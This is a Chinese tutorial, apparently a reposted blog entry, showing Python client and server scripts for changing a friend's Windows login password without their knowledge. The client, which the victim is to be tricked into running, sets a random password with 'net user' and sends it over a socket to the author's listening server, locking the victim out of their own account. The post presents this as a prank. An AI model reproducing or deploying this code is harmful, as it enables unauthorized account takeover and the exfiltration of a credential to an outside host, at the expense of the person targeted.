1. 程式人生 > >用python來更改小夥伴的windows開機密碼

用python來更改小夥伴的windows開機密碼

今天教大家用python指令碼來控制小夥伴們windows電腦的開機密碼。沒錯就是神不知鬼不覺,用random()隨機生成的密碼,只有你自己知道哦~

程式碼呢分兩部分,一部分是client端跟server端兩個。你只需要想辦法讓小夥伴執行你的client端指令碼就OK啦。不過在此之前你一定要在你的電腦上執行server端哦~這樣子的話,client端會在你的小夥伴電腦上隨機生成一個密碼然後通過socket發給server端也就是發給你哦~

下面放程式碼,順便加點註釋。

client端程式碼:

  1. # client.py: //檔名

  2. import socket //匯入用到的模組

  3. import getpass

  4. import subprocess

  5. import random

  6. client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //建立socket例項

  7. client.connect(('10.0.0.1', 44444)) //連線server端IP地址/埠按你自己實際情況來

  8. user = getpass.getuser() //獲取計算機使用者名稱

  9. psd = '' //給一個psd變數(密碼)為空

  10. for j in range(1, 9): //生成1-9的隨機數

  11. m = str(random.randrange(0, 10))

  12. psd = psd + m

  13. subprocess.Popen(['net', 'User', user, psd]) //在本地執行(類似於cmd命令)

  14. client.send(psd.encode('utf-8')) //將密碼傳送給server端

  15. back_msg = client.recv(1024)

  16. client.close() //關閉socket

  17. print psd //避免出現差錯忘記密碼 先在本地列印 

server端程式碼:

  1. # server.py //檔名

  2. import socket //匯入socket

  3. server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //建立socket

  4. server.bind(('10.0.0.1', 44444)) //繫結IP/埠

  5. server.listen(5) //監聽

  6. print('starting....')

  7. conn, addr = server.accept() //連線

  8. print(conn)

  9. print('client addr', addr)

  10. print('ready to recv the passwd...')

  11. client_msg = conn.recv(1024)

  12. print('client passwd changed: %s' % client_msg)

  13. conn.send(client_msg.upper())

  14. conn.close()

  15. server.close()

OK程式碼寫完後我們開始執行一下程式(推薦在虛擬機器下執行,萬一出個差錯搞不好真忘記密碼!切記切記)~

首先先在我的Linux上執行server端,來等待接收來自client端傳過來的密碼。

執行server.py指令碼

然後windows執行client端,它會顯示生成的密碼

(前提是在cmd命令列下執行否則你雙擊一下會消失)

cmd下執行

現在再登出或者是重啟輸入原始密碼就會發現密碼錯誤,怎麼密碼呢也已經發到我們的server端了。

server收到密碼

如果你現在想改回密碼的話,千萬不要關機 開啟cmd輸入“net user 你的使用者名稱 你要改變的密碼” 然後回車就ok了。

好啦,本次文章就寫到這啦。大家對什麼內容感興趣歡迎給鄙人留言,鄙人會盡量照顧到大家的口味的~

源自:https://www.toutiao.com/a6547624596902773262/